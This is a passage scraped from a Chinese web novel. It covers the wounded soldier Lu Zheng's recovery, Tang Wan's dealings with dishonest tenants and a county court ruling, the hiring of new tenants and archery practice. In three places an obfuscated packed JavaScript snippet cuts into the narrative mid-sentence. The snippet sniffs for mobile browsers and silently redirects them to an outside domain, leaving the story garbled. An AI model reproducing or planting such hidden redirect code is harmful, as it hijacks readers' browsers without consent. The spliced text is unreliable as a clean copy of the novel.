陆铎看了看这个弟弟,原想说些什么,终究还是没开口,转身朝门口走去。 正巧此时,吴大夫赶到了。 陆铮这日失血过多,勉强支撑到家便彻底昏死过去。 吴大夫上门诊治,又是清理伤口,又是施针止血,又是敷药包扎,折腾了大半个时辰,他只因为疼痛而皱紧了眉头,始终没有醒来。 吴大夫在军中混迹半辈子,别的病未必在行,这等子刀箭伤倒是比较拿手。他颇费了些功夫给陆铮处理了伤势,又开了补血养气的方子,让陆家人去抓了来,亲自熬药,一时间陆家后院药味弥漫。 “今晚需密切观察,倘若不发高热,后面便以静养为主。”吴大夫沉吟道。 这箭伤看着吓人,盖因血流得多,所幸未中要害,也未伤及筋骨,只要按时服药,好生调养,倒也无大碍。 当然,吴大夫行医谨慎,话没有说得太满,陆铎听话听音,暗自松了一口气,当晚没有回大营,亲自照看弟弟。 一夜无事,才算是真正放下心来。 陆铮昏睡了两日才醒来,得知大哥陆铎已经为他请了假,父亲也回来看了两回。 “这次你追击北狄有功,你大哥和同袍已将功劳上报千户大人。你斩敌七人,赏银二十一两,另有伤补米粮五石,准假养伤一月。” 这次两个儿子追击北狄都积累了军功,陆承望心中高兴,对这个历来不怎么听话的二儿子也有了几分好脸色,还特意交代王氏:“好好照料他。” 王银花在丈夫面前不敢违逆,当然没有不应的。只是私下里,从前如何依旧如何。 而且这次陆承望竟然将赏银直接给了陆铮,令她十分不满。银子入了这“铁公鸡”的腰包,怕是难再掏出来,王银花心里憋屈,却也只能咬牙认了。她看陆铮受伤,他老子似乎便心软了,不好在这当口吹枕头风,只能不情不愿地收下了五石粮食。 至于陆铭,可能是不喜西厢房里的血腥气和浓重的药味,一反常态没有作死,乖乖搬到正房偏屋去,没怎么吵闹。 这天晌午,陆铮迷迷糊糊醒来,听到外头有人在低声说话。他勉力睁眼,却见个清瘦俊俏的小少年掀起门帘走了进来。 竟是那唐家宛娘子的弟弟,唐睦。 唐睦听阿姊的话,特意换了件洁净衣裳,洗了手净了脸来探望。 西厢房内,炕上的男子脸色苍白,眉心微蹙似有不适,跟几日前见到的那个高大威武的陆二哥判若两人。 唐睦不禁有些担忧,低声问: “陆二哥,你今日好些了吗?” 14. 十分无赖 陆铮受伤,前两日便有不少邻里和同袍上门探望,但因他始终昏睡未醒,陆铎便未曾让人入后院,都是在前院寒暄招待。 陆家无仆妇,平日父子三人大多数时间在军营,家中只剩妇孺。如今陆铮伤重卧床,陆铎不放心将他交给不靠谱的继母,沈玉娘年轻,贴身照料毕竟多有不便,小的更是指望不上,只得亲力亲为,请了几日假在家守着。 军中打仗,负伤乃寻常事。可那日兄弟二人满身血从城外急赶而回,又正值北狄来犯边人人自危,动静闹得不小。 大家既是来探望,也为打听消息,原本清净的小院热闹了不少。 唐家姐弟竟也前来探望。陆铎虽觉意外,却也并不十分惊讶。 往日两家只是脸熟没有人情来往,自从弟弟那回救了他家落水的宛娘子,便有了几分交情。 如今他们上门倒也合情合理。 眼见姐弟俩目光俱带着关切,陆铎想到那日自家弟弟提到这姑娘时若有似无的不同,横竖陆铮已经清醒了,便主动提议:“阿铮在后头歇着,你们……” 话才出口,又觉女儿家进内室不太妥当,便转头看向唐睦:“你若想进去瞧一眼,我领你过去。” 唐宛闻言,与弟弟对视一眼,唐睦便点头道:“我去看看陆二哥。” 唐宛便留在前院,跟沈玉娘一同在堂屋说话。 她打开带来的食盒,露出里头两个陶罐。 “这个是黄芪当归老鸡汤。”她指着其中一罐,温声解释道,“黄芪补气升阳,当归补血活血。若陆二哥这几日胃口不好,可以少量多次进补。” 她又指向另一个陶罐,“这是山药小米粥,调理脾胃,搭配着吃效果更好。” 沈玉娘一听,不由怔了一下。 这两日家中乱哄哄的,她忙着给二叔抓药熬药,又要招待不时上门探望的客人,婆母苛刻一堆家务等着做,还有两个孩子要带,哪还有心思顾得上这些? 陆铮性子又是喜静寡言,不曾有过任何怨言,她虽有心,却难以周全。 这会儿看到这用心的药膳,不由一阵感动,连声道:“这可怎么使得?这太破费了。” 不只是花钱,更费心思。 唐宛却道:“陆二哥曾救过我性命,这些实在不值一提。阿嫂若有什么使得上我的地方,也只管吩咐。” 她声音温婉,人如其名,十分诚恳:“阿嫂这几日忙坏了吧?倘若这汤吃着合口,我明日再做些送来。” 县衙那件事,唐宛就没提,案情尚未了结,实不好宣扬,也怕招来口舌和是非。不过单以救命之恩作由,已经足够说明自己的诚意。 沈玉娘原本还想客气推辞几句,见她神情认真,话也说到这份上,再推也矫情,只得叹道:“如此,那多谢了。” 唐宛笑道:“阿嫂不嫌我手艺拙劣就好。” 沈玉娘也笑起来:“怎么会?这汤一看就是花了心思的,刚好二叔今早醒来还没怎么吃东西,我摸着这还是热的,现在就盛一点,送过去。” 却说西厢房内,唐睦一进门便看到陆铮脸色苍白,眉宇间隐有倦色,几日不见整个人瘦了一圈,神情比起前日也憔悴了许多,不由得一惊。 一时间,他竟想起了祖父卧病之时的模样。 陆铮瞧着少年眼底的惶然之色,反倒先安慰起他来:“我没什么大碍,只是皮肉伤,养一段时日就好了。” 唐睦忙不迭点头:“那你一定要好好静养,若想吃什么,尽管说,阿姊会帮你做的!” 陆铮微微一愣。 唐睦反应过来,自己这话说得不太妥当,忙又解释:“阿姊说了,陆二哥救了她,那是再生之恩。还有前几日在县衙,若非你从中周旋,我与阿姊恐怕现在还在门外干等着呢。” 随后跟进来的陆铎听了,眉头轻挑,县衙有什么事,倒是没听弟弟提起过。 陆铮沉默片刻,才淡淡道:“不过是递了句话罢了。” “可对我们而言,却是雪中送炭。”唐睦神情认真,“我阿姊原想着改日亲自登门致谢,谁知你受了伤,只好托我先来探望。” 陆铎闻言笑着补了一句:“唐姑娘此刻就在前院,拎着食盒,仿佛带了什么吃的。” “嗯,是黄芪当归鸡汤,阿姊亲手炖的,补气养血的,文火熬了一个时辰,闻着可香了。还有山药小米粥,香香甜甜,一起吃更滋补。”唐睦一说起吃的,神情便不自觉透出几分孩子气。 陆铎忍俊不禁地笑出声来,陆铮也勾了勾唇角,眉眼舒展。 说了几句话的功夫,沈玉娘已经将那两道药膳各盛了一碗,送到西厢房来。 陆铮被陆铎扶着坐起来。 他伤在左肩,倒并不怎么耽误用手,就是伤处还痛得厉害,他面上不显,动作却比平常小心仔细了不少。 唐睦站在一旁,眼看陆铮舀起一勺粥,又试了鸡汤,小心观察他的神色,低声问:“怎么样,陆二哥,合口味吗?” 山药小米粥软糯香甜,鸡肉被炖得软烂入口即化,鸡汤虽带着些药味,但调味得当,也十分顺口。 陆铮本就久未进食,喝下几口,浑身暖了几分。 他放下汤匙,哑声道:“味道很好,替我谢谢你阿姊,让她费心了。” “那就好。”唐睦见他精神尚可,心里也放松了不少,“阿姊说,陆二哥若觉得好,明日做了再送来。陆二哥好生歇着,我就不多打扰了。” 说着便脚步轻快地退了出去。 陆铎送他出门:“你们能来探望,我们已经很感激了,怎好日日麻烦你们,实在太费心思。” 唐睦笑着说:“不费心!我阿姊说,反正家里也要做饭,顺带手的事,比起陆二哥对我们的恩情,这些实在不值一提。” 说罢,他挥了挥手:“陆大哥照料陆二哥去吧,我自己走,不麻烦你。” 说完便一溜烟跑到了前院,像只轻盈的小雀儿。陆铎无奈失笑,还是来到前院跟姐弟俩告别。 等回到西厢房,两个小陶碗里的鸡汤和粥已见底。 陆铎收拾碗盘,叹道:“他家倒是有心,我和你阿嫂都没想到这一茬。” 陆铮自然不会责怪兄嫂。 军中人粗粝惯了,兄弟俩平日若受些皮外伤,也不过随手撒点伤药,咬牙忍一忍便过了。如今请得大夫来诊治,已是极尽关照,他从没奢望过更多。 从小到大也没主动想过食补。 脑海中唯一留下的类似记忆,还是年幼时。那时母亲尚在,有一次他跟哥哥在外头疯玩跌倒折了胳膊,母亲每日都会煮几颗鸡蛋,剥了壳,放在小碗里,放凉了专给他吃。 那是记忆里最温柔的味道。 陆铮垂眸看着那些即将被拿走的碗盘,心中浮现说不出的滋味。 离开陆家时,唐宛顺便带回了上次送饼用的竹篮。 因青石巷与榆树巷本就不远,姐弟俩并未租车,打算步行回家。 这会儿日头已经有点儿高,走了一会儿两人都有些出汗。快走到家门口时,唐宛远远便看见自家小院前有两个妇人在门口张望。 姐弟俩脸色都沉下来。 那是吴大、吴二的媳妇。 “又来了。”唐睦低声嘀咕。 “别理她们就行。”唐宛道。 自从前几日县衙将吴氏兄弟收押之后,案子便进入实地走访和取证阶段。唐宛与唐睦姐弟也趁这空当赶紧着手解决春耕问题。 别家春播都已过半,自家的三十亩军田还撂在那儿,农时不等人,必须得尽快找到新佃户接手,否则一年的收成都完了。 唐宛打定主意,等县衙的官差们取证完毕,立刻换人种田。 可寻找佃户这件事,竟然没他们想得那么容易。 为此唐宛还找了邻居葛三娘和老沈头取经,在他们的建议下找了城中的牙人帮忙物色。 牙人类似现世的中介,只要钱给够,不管是寻佃户、招短工,还是买牲畜,他们都能帮上忙。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15933499|176676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是他们找人的时机实在不算好,合适的人早就被雇走了。 三十亩田说多不多说少不少,方方面面的一早就该预备着,等到这时候才开始招佃户,属实有些临时抱佛脚的意思在。 这也是之前他们没想换人的原因,要不是吴家人太过份,唐宛都想着要不再忍一年。 不过军田到底吃香,消息放出去倒也陆续有人来问。这两日牙行便约了几家人来相看,若能谈得妥,便即刻开耕。 唐宛前世虽然也种过田,可都是在高科技和钞能力的加持下进行的,目的也是为了吸引流量搞噱头。如今靠的是最朴素的人力牲畜,最好的解决方案就是原本的方案,继续找佃户,开春先把这季的收成保住再说。 这边忙着找新佃户,旧佃户那边的麻烦却还没消停。 吴家人的意思,竟然还有些不甘心,想要继续耕种他们家的地。 一开始,他们没直接上门,而是去衙门打点。 可惜到底只是佃户,手头没几两银子,连县太爷的门槛都没摸着。范大人又素来刚正,不肯通融。 眼见靠不上官府,便有人出了个主意:“解铃还须系铃人,不如求唐家姐弟松口。” 于是这几日,吴大、吴二的媳妇就蹲守在唐家门前,不见人还好,一见人就立刻跪地痛哭,哭声又尖又响,离得老远都能听得一清二楚。 十分无赖。 果不其然,见唐宛姐弟从街口回来,那两个妇人立刻扯出帕子,扑通跪下,嘴里开始哭唱起来。 “宛娘子,睦哥儿,你们就行行好吧……我们男人是一时糊涂,求您看在这么多年,我们没有功劳也有苦劳的份上,饶他们这一回罢……” 她们倒是巴望着能哭出点围观群众,引得人来说和。 可惜唐宛早有防备。这几日她给邻里几家都送去了亲手做的饼子和鸡蛋糕,给众人说清了事情的原委。 她没求邻居为他们开口、做主,只求他们在这群无赖上门的时候不要围观。 此刻,街巷静悄悄的,门窗紧闭,没有一户人家探头张望。 围观的人一个也没有,吴家媳妇哭得再卖力,也只像在唱独角戏。 案子已由县衙受理,该怎么判自有官府决断,唐宛此刻要做的就是耐心等待结果,而不是跟无赖扯皮。 她拉着弟弟的手,目不斜视地开门回院。 吴大家的眼见哭没用,索性上前想扑住她的腿,被唐宛一个眼神横回去。 早在吴家人第一次登门哭闹时,她就警告过,谁敢动她姐弟一下,县衙收押的人就不止吴大吴二。 吴家人终归心虚,这才不敢造次。 吴大家的只能捂着帕子继续哭嚎:“我们不是故意骗主家啊,是那年收成不好,孩子们饿得没法子了……” 至于擅自弃种军田,另起荒地一事,却始终只字不提。 唐宛冷冷一笑:“吴婶子,好叫你知道,不是谁嗓门大、谁嚎得响,谁就有理。我家的邻居,知道得可不比县衙官爷少。你看看你们在门口哭了两天,有谁理过你们?” 吴家两人一滞。 原本她们还指望着靠哭嚎唬住唐家姐弟,再打动些街坊,兴许真能翻个案子。谁曾想,现在家家闭门,没人接茬。 只怕自家做的那些见不得人的事,早就传得街头巷尾尽人皆知,眼下虽没围观,屋里指不定怎么啐骂他们。 “不论新田旧田,我唐家的地是一定要收的。你们先前吞了的军粮,也得一粒不少地吐出来。” “侵占军田可是大罪,若官府真要追责,你们一家老小都没好下场。与其在这里哭嚎做无用功,还不如回去想想办法,趁早筹粮,把窟窿补上。” 她声音不高,却像一记记重锤敲在两妇人心头。 “若不想跟吴大吴二一道,押去流民营服苦役,就好自为之吧。” 话落,唐宛牵着唐睦回屋,院门“咔哒”一声落闩,不再理会外面死一般的沉寂。 15. 新的佃户 吴家人不知道什么时候走的。 等唐宛想起这回事儿时,院门外静悄悄的,没再听到前几日的哭嚎与叫屈。 只要他们不再来纠缠,唐宛便不打算再多做计较。 她理解世人求生存、想多挣几个钱的心思,但这一切的前提,不能建立在别人的苦难之上。唐家的军田,是唐爷爷和唐爸爸用命换来的,是唐家姐弟赖以生存的根基,容不得他人侵占。 姐弟俩回家后,换了衣裳,便进了后院,忙了大半日,把后头那两畦地整理出来,种上了菜籽。 种子是往年留下的,隔壁葛三娘也在后院瞧见了,给了一些不同的种子。 每样种子都细细小小的,唐宛其实不怎么能分辨得出,全靠葛三娘手把手地教。 “这是菠菜,这是小白菜,这两样长得快,种下去个把月就能吃上了。”葛三娘边说边示范,娴熟地播撒种子,“这个是萝卜,多种点,出了苗子可以间着吃,稍大些吃萝卜缨子,再分拣些健壮的单独种,留着长萝卜吃,从小吃到老。” 萝卜确实是个宝。唐宛听着她娓娓讲解,脑海中已悄悄冒出各种萝卜菜的做法。 打开最后一个小纸包,里头是一包形状扁平、颜色泛白的种子,唐宛觉得自己认出来,但不是很确定:“这个是……?” “这是辣椒。”葛三娘早料到她会问,见怪不怪地回答。 唐宛听得眼睛一亮。 原来这个朝代竟然已经有辣椒了。 她前世看过不少穿越小说,主角们往往得等着商人远渡重洋带回某种观赏植物,机缘巧合认出是辣椒,随即发扬光大。功绩成就是有了,可这过程对于无辣不欢的唐宛来说实在太过煎熬。 可见她穿过来的时代对于美食爱好者还是比较友好的。 这几日她常去集市,逛多了便发现,当地虽处边境,食材种类却并不单一,豆腐早已有之,粮食种类也不缺,蔬菜、米面、豆类一应俱全。 虽然少了许多主角才会有的发家致富的所谓“机缘”,对她这个吃货来说,却多出了不少便利。 “这几样先种着,过阵子我再给你弄点瓜种和豆角,种在墙根底下,到了暑天就不差菜吃了。” 葛三娘说着,又把手里的小布兜递过来。 “这里头是马铃薯,切块儿埋土里就能长苗,等到叶子枯黄了,就能挖出新的马铃薯来,种得好结得可多了。” “真的吗?”唐宛目露喜色,她当然知道这个怎么种,喜的是竟然连土豆也有! 想想也不是特别奇怪,毕竟玉米也已经吃上了。 葛三娘看她这反应,不禁有些心疼。 老唐头宠溺孩子,将一对儿孙子孙女养得金贵,从小不愿让孩子碰这些粗活儿,却不想想他走了孩子们要怎么过活。好在姐弟俩懂事,从前娇生惯养,现在也能抹下脸儿来,将农活儿家务从头学起。 尤其是宛娘子,最近这些时日倒是忽然开窍了一般,洗衣做饭样样都做得好,地里的事情也做得有模有样。 这样的性子,就算眼下不富裕,迟早也能把日子过得红火。 一开始不懂没关系,只要她肯学,葛三娘很愿意教。 葛三娘带着两个半大不小的孩子,一起在唐家后院忙了半日,两块不大的菜畦也终于有了模样。 收拾妥当,葛三娘掸了掸衣服上的尘土,抬头看着整齐的菜地:“这院子小,先凑合种点自家吃的。等你们新佃户找妥当了,再在地头开几块菜园。想吃什么,到时就让他们替你种。” 她也听说了吴家糊弄唐家的事儿,心里憋着气,且等着看县衙的处置。 唐宛点了点头,真诚地说:“好,多谢葛婶子。瑞哥哥今日不在家,婶子今天别做饭了,晚上我来下厨,婶子尝尝我的手艺。” 葛三娘推辞了一番,在姐弟俩的好言相劝之下,最终应了下来。 唐宛在院中洗了手,将袖子卷了卷,招呼唐睦去灶下烧火,她则将井边用竹匾扣住的水桶拿了出来。 今晨去集市买老母鸡炖汤的时候,在路边看到有人在卖鱼。 这年头没什么养殖一说,鱼都是纯野生的。那卖鱼的原是个樵夫,在山涧里埋了竹篓,捉了几十条鲫鱼,用木桶养着。 唐宛打眼一看,鱼儿在桶中灵活地游来游去,十分新鲜,她当即就挑了四五条,都是巴掌大小,鳞片鲜亮。 用草绳穿腮拎回家,还是活蹦乱跳,舀了半桶井水放进去,鱼儿竟然摇头摆尾,又开始游动起来。 唐宛感慨这鱼儿的生命力,便这样养起来,现吃现杀总归比较新鲜。 眼下到了吃饭的点儿,她利落抓出两条摔在地上,破腹掏腮刮鳞,处理干净,下锅煎至双面金黄,加清水炖煮至汤色变为浓白,继而加入两个事先煎好的荷包蛋,再放入切成大块的嫩豆腐,慢火咕嘟咕嘟地煮着,不多时就溢出鲜美的香味。 她没加过多调味,只用姜片和少量食盐吊味。 另一头,她又将早些处理好的小芋头洗净去皮,切成两半,用锅稍稍翻炒几下,倒入一个小陶罐中。随后将剩余的鸡汤舀进罐里,文火煨至芋头熟烂。 等汤沸后,她加入几片清水焯过的白菜心,开盖煮至收汁。 这是一道极为朴素的家常菜,食材简单,工序也不繁杂,但因为食材与火候搭配得恰到好处,被古今文人食客记载在多种美食食谱之上,名为芋头煨白菜。 “美中不足,缺少酱味调鲜。” 她望着陶罐内滚滚收汁的芋头白菜心,轻声感叹。 葛三娘从后院抱着一堆柴火来到灶间,听见这话,不由笑了一声:“宛娘也吃过酱吗?我男人还在时,有一次跟长官去吃席,回来跟我说过,有一道凉拌菜,简简单单煮了,只用了酱水调味,吃起来说不出的香!” “酱水?”唐宛立刻来了兴致。 “说是豆子煮熟了压成泥,做成一缸缸腌制的,越陈越香,是不是你说的酱?”葛三娘一边说一边去井边舀了水洗手,“不过我也不懂具体怎么制,这些好物我们寻常百姓家哪里用得上?只听说大户人家吃饭各种讲究,什么花样都有。” 唐宛心里一动,眼神渐渐亮了起来。 这个朝代,竟然已经有人做酱?如果做法尚未普及寻常人家,岂不是一个很好的营生? 做酱并不简单,费时费力,但唐宛以前也曾尝试过。她脑海中迅速回忆各种细节,或许可以找时间复刻一下。 她想着不免开始入神,唐睦喊了她一声:“阿姊,是不是可以摆饭了?我好饿!” 唐宛连忙答应着:“好,我把饼子热一热,立即就能吃了。” 来日方长,这些事都不急,眼下先把肚子填饱再说。 次日一早,县衙派人来传话,让唐家姐弟前往听审。 唐宛换了身洁净衣裳,带着弟弟一道去了衙门。 这个案子并不复杂,从唐家地契入手,官差实地走访,又请了饮马河村民作证,吴家兄弟侵占主家余粮、冒名开垦新田一事便已坐实。 县丞范敬之本就秉性清正,断案也干脆利落。 吴大吴二兄弟被发往隔壁望河县的流民营,服三年劳役,开垦军田;吴家历年来侵吞唐家的粮食如数偿还,三十亩旧地并新开垦的十二亩新地即刻收回。 为不耽误农时,大人还敦促唐家姐弟及早寻访佃户,早日恢复耕种。 官差当堂宣读判词时,吴家兄弟浑身僵硬,吭都不敢多吭一声。吴家众人原先满心以为只要哭一哭,求求情,唐家两个孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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鲁老汉和两个儿子一听这话,顿时十分心动。鲁大山虽然遗憾自家孩子不是读书材料,却也希望侄子出息,将来如果真的考中功名能光耀门楣。 一家人合计之后,典出了家中最好、最肥的十几亩地,又托了乡里族长走门路,终于把两个孙子送进了县里的书院读书。 只是这一来家里田地不足,三兄弟都空了下来。忙了大半辈子的老农根本闲不住,便想着寻户人家佃田换些口粮。 听说唐家要换佃户,鲁家便托牙人找上门来。 唐宛听到鲁家的情况,已经有些意动,不过前车之鉴,还是托了葛婶子一道来帮着把关。 她不懂古时的田事,怕被人再糊弄一回。 葛婶子果然不负托付,问起那三十亩田被荒废了,如何补救。鲁老汉说了好些法子,唐宛似懂非懂,结合前世不太丰富的经验,觉得似乎有些道理。 她悄悄看向葛三娘,见她频频点头,心里便安定不少。 一问一答中,鲁老汉不卑不亢,并不倚老卖老,鲁家三兄弟说话时眼神清正,态度诚恳,难得的是兄弟三个看起来彼此尊重,没什么不合的迹象。 唐宛急着用人,便就不多纠结,当场拍板签了契约。 还是跟唐爷爷在时一样的条件,除去征粮所得,收成主家和佃户一家一半。 鲁老汉说,自家去年留了一批上好的粟米和豆子当做种子,本来想着今年用,没想到家中田地典了出去,他不舍这些粮种浪费,干脆这回便全数用上,种得好不好,全看他们的本事。 唐宛听得一怔,这才意识到,吴家兄弟从未主动说过自留种的事,每年都会索要一笔种子的花销。 原来连这都被糊弄了。 旧事不再重提,唐宛惦记着要多种些蔬菜瓜果,便随口提了一句。 鲁大山笑呵呵道:“这个简单。宛娘子和睦哥儿想吃什么,只管交代。我们在地头边上再开几垄菜畦,种出来后叫我家大郎给你们送来。” 鲁家大郎鲁有良是长孙,虽读书没有几个弟弟聪明,务农却继承了祖辈的智慧,是一把好手。 唐宛听得一阵期待:“那就有劳了。” 16. 旧时弓箭 佃户找妥了,姐弟俩算是了却一桩重要心事,都放松了不少。 当天回家之后,唐睦在灶下烧火,一边跟唐宛商量:“阿姊,明日开始,我就去集市摆摊吧。就像阿爷以前那样帮人写信,多少能挣点儿。” 唐宛正在锅边贴饼子,闻言看了他一眼,并未反对。 今日签完契约,他们给了牙人一两银子作为辛苦费,加上租借耕牛、补购农具,家里除了藏起来的三十两,手头的散碎银子所剩无几。 姐弟俩都是长身体的时候,唐宛这几日采买食材兼顾营养均衡,加上天气一日比一日暖和,去岁姐弟俩的衣物都有些小了,也需要添置,样样都是花钱的地方。 “咱们不能一直坐吃山空,春耕才刚起头儿,后头要花钱的地方还多着呢。” 唐睦年纪虽小,却自认为是家中唯一的男儿,需要担负起养家的责任,这几日一直惦记着设法赚钱。 唐宛将锅盖盖上,去井边舀了点儿水洗洗手,点了点头:“成,我不拦你。但我明日得出城一趟,先去田里看看鲁家人干得怎么样。” 唐睦一愣,立马皱起了眉:“出城吗?不行,阿姊别去,这太不安全了!” 北狄人来袭没过几日,除非必须要出城做活儿的,这些时日出城的人已经少了许多。 唐宛却道:“我会注意的,就是去田头看一看。鲁家人看着倒是勤快本分,可这田毕竟不是他们自家的,日子一久难免松懈。若不时常去走动走动,叫他们知道我们是看着的,迟早变成第二个吴家人。” 军田的收成对他们姐弟而言至关重要。 如今唐家已无在军中的壮丁,能保住军籍,全靠军田如期完粮上缴。倘若田地荒了、赋役落空,不光田会被收回,恐怕连军籍都给撸了,遭受无妄之灾。 唐睦便道:“那我跟阿姊一起去。” “你跟我一起就不危险了吗?”唐宛反问。 唐睦张了张嘴,一时语塞。 “没事的,北狄人也不是天天来,就算来,也多半往村落中去,地里都是做活儿的,能抢到什么?况且,我们总不能因为有危险,就永远窝在城里。” 刚开始得知北狄人袭扰,连陆铮都受了伤,出身于和平年代的唐宛确实受了不小的心理冲击,这也可能是唐爷爷宁愿被吴家人糊弄,也一直不让姐弟俩接触农耕的原因。 可总这么一直躲着也不是办法。 “怀戎县就这光景,哪家军户不是在袭扰中种地、在烽火下耕作的?北狄人确实可怕,可真要躲,只能彻底舍了这军籍,去别处谋生活,你愿意吗?” 唐睦默了。 他出生在北境,从小就知道自己长大会投军从戎,早就做好了心理准备。 不过阿姊毕竟是女子,他可以接受自己战死疆场、马革裹尸的结局,却不想让阿姊陷入险境。可恨自己年纪太小,如果像陆大哥、陆二哥那样,现在就可以保护阿姊了。 唐宛见他神色肃穆,便笑着缓和气氛:“不会有事的,以往北狄人来犯,总要间隔很长时日,他们知道此处防范周密,短期内再不敢来了。” 唐睦低头不语,半晌忽然道:“阿姊你来。” 他转身进了东屋,唐宛迟疑地跟了进去。 这还是她第一次进唐睦的房间,也就是以前唐爷爷住的房间。见唐睦踮脚,她才注意到墙上挂着一把旧弓。 唐睦把弓拿了下来。 看得出这把弓已有些年头,却被保养得很好。弓身被擦拭得很干净,光洁圆润,弓弦松垂着搭在一侧。 另有一个说不清什么皮子做成的箭袋,看着非常结实,里面装着十来只箭。 箭尾不知用什么羽毛做的,修剪得很整齐。箭头微沉,通体泛着乌黑的金属光泽,看着应该是钢制的,虽然年代久远,却没有半点儿锈迹,一看便知经常被养护。 唐宛注意到,这个箭头是一个扁平的三角形,并没有影视剧里常见的那种倒钩,想来陆铮受伤时也是这种箭头,所以当初敢自己拔箭头。 唐宛曾看过一个科普视频,说箭头后如有倒刺,贸然拔出会连带大片血肉撕裂,轻伤也会变重伤,当时得知陆铮受伤,还被自己过于逼真的想象吓出了一身冷汗。 “阿姊,要不你把这个带上,以防万一。”唐睦用力挂上弓弦,对唐宛说。 这是唐父当年从军时所使用的弓箭。父亲战死后,这弓便一直悬在屋中墙上,姐弟俩以前也练过几次,只是当时年岁小,筋骨未成,根本拉不开。 “阿爷说,这弓要是拉满了,箭尾能抵到耳后。”唐睦试着拉弓,用尽全力也只拉开一半。 唐宛力气比他稍大些,也只是勉强拉开到身侧。 姐弟俩站在院中,对准枣树试着射箭,射出去的箭轻飘飘的,准头也堪忧。照这样看,就算把弓箭带上,也不过起个心理安慰的作用,说不定还得弄丢了。 “不带了,我路上警醒些就是了。” 唐宛说是这么说,手里的弓箭却没公开。 不管怎么样,有一样武器傍身总不是坏事。 于是她又练了几次。拉弓、搭箭、松手…… 努力回忆着以前参加活动时被教练教过的技巧,渐渐地有了些许进步。 练着练着,唐宛便想起那次活动的细节。那段时间她很热衷研究古代文化,参加了一个古代兵器复刻的主播联名活动,她负责的手工复刻弩箭的项目。 当时唐宛做的是一款微型弩机,结构相对简单,扣动机括就能发箭,说是古代版本的手枪也不为过。虽说杀伤力有限,但胜在轻巧便携,用来防身倒是非常便利。 唐宛眸光微动,心想若是日后手头宽裕,倒是可以寻访匠人试着造出几把,留着自己与唐睦防身用。 她鼻翼微动,忽然嗅到灶上飘来的焦香味,扭头唤唐睦:“饼子好了,先吃饭吧,吃完我们接着练。” 至于那弩机,眼下八字还没一撇呢,还是先把手头的弓箭练好再说。 次日一早,唐宛起来后先打了一套军体拳,舒展筋骨。随即将桶中剩下的几条鱼处理干净,做了一锅鱼豆腐汤,嘱咐唐睦趁热送去陆家。 早饭后,姐弟俩便分头行动。 唐睦带着祖父那套写字的文具去集市摆摊。唐宛昨晚炒好了大麦,这会儿煮出了一锅浓香的大麦茶,滤出杂质后装进陶罐中,又烙了二十来个玉米饼子,坐上唐睦去集市叫来的骡车,前往军田那边,去看鲁家人耕作的情况。 吴家新垦的十二亩地已经种得差不多了,鲁家人一早赶来田头,先去看了那片新地,稍稍做了些善后的处理,随即便转头投入原有三十亩地的复垦中。 一家老小齐上阵,还借来了两头耕牛,唐宛到的时候,他们人人低头出力,正干得热火朝天。 唐宛在地头站了会儿,看他们有条不紊地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15946639|176676||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 忙碌,放心了不少,便抱着陶罐、拎着食篮走过去,高声喊道: “鲁爷爷,伯伯,婶子们!我带了点茶水,过来喝!” 鲁家人听到喊声,这才抬头望过来,见是唐宛,脸上都露出讶色。 离得最近的鲁大娘快步迎上来,接过她手里的陶罐,连声道:“娘子怎么亲自来了?这么远过来还带东西,太客气了!我们做惯了活儿,茶水都备着呢。” 唐宛笑着说:“第一天动工,哪能不来看看?你们都忙了半天了吧?先歇会儿。” 说着,她将陶罐的盖子掀开,一股子麦香夹着淡淡的姜辛味儿立刻飘散开来。 放下活计走过来的鲁家人不自觉咽了口口水,做了半晌的活儿,确实都有些口渴。 “这是什么茶水,好似没喝过。”鲁大娘惊奇道。 “这是大麦茶,用大麦炒的。”唐宛随口解释,看了眼田埂边,鲁家人果然自备了茶水,也带了不少陶碗,便拿来一个空碗舀了一碗,递给鲁大娘子。 “大麦也能炒茶喝?”鲁大娘子接过茶水,小心地抿了一口,眼睛亮了起来:“还别说,真挺香的!” 其他人每人接了一碗,喝起来都忍不住点点头。 “比我们平常喝的苦茶好喝多了。”老三鲁大海也点头称赞。 “一点儿都不涩嘴,还有股麦子的甜味!”大郎鲁有才道。 “宛娘子,这个茶是怎么做的?”鲁大娘子问,二娘子和三娘子也悄悄竖起耳朵听。 “这个简单。”唐宛一边分茶一边说,“大麦洗干净了晒干,加点姜丝,在锅里炒到焦香,存在密封的罐子里,要喝的时候用开水冲泡,或者煮一煮,家里要是有陈年的干橘皮,切细了丢点进去更香,没有的话也不妨事。” “倒真是不难,”鲁大娘喃喃道,“家里大麦有现成的,生姜咱家去年也种了,好像还剩些。” 鲁大山听了也道:“比茶叶还便宜呢,今儿回家试试。” 唐宛分完了大麦茶,揭开篮子上的盖布,将玉米饼递给他们。 因为做农活儿需要卖力气,唐宛做的是肉馅儿饼,两面被煎得金黄酥脆,放在篮子里用布盖着,此刻还有些余温,闻起来一股子说不出的香味。 鲁家人连声说太客气了:“娘子这也太破费了,这么远还给我们送吃的来。” 唐宛将饼子一一分给大家:“这地头离我家远,也不能日日都来,我就偶尔过来看看。往后田里的活儿,就全托付给你们了。” 